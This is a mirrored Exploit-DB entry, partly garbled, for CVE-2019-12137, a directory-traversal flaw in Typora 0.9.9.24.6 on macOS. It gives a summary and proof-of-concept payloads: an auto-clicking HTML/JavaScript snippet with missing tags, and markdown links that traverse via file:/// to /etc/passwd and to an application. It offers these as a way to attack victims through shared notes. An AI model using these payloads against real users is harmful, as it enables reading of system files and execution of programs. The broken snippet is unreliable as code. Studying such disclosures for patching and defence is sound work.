Typora 0.9.9.24.6 – Directory Traversal - 体验盒子

作者： Dhiraj Mishra

日期： 2019-05-27

类别：

remote

平台：

macos

来源：https://www.exploit-db.com/exploits/46932/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

# Exploit Title: Code execution via path traversal

# Date: 17-05-2019

# Exploit Author: Dhiraj Mishra

# Vendor Homepage: http://typora.io

# Software Link: https://typora.io/download/Typora.dmg

# Version: 0.9.9.24.6

# Tested on: macOS Mojave v10.14.4

# CVE: CVE-2019-12137

# References:

# https://nvd.nist.gov/vuln/detail/CVE-2019-12137

# https://github.com/typora/typora-issues/issues/2505

Summary:

Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of

arbitrary programs, via a file:/// or ../ substring in a shared note via

abusing URI schemes.

Technical observation:

A crafted URI can be used in a note to perform this attack using file:///

has an argument or by traversing to any directory like

(../../../../something.app).

Since, Typro also has a feature of sharing notes, in such case attacker

could leverage this vulnerability and send crafted notes to the

victim to perform any further attack.

Simple exploit code would be:

<body>

</a>

(function download() {

document.getElementById('inputzero').click();

})()

</script>

</body>

And alt would be:

</code><code>

[Hello World](file:///../../../../etc/passwd)

[Hello World](file:///../../../../something.app)

</code><code>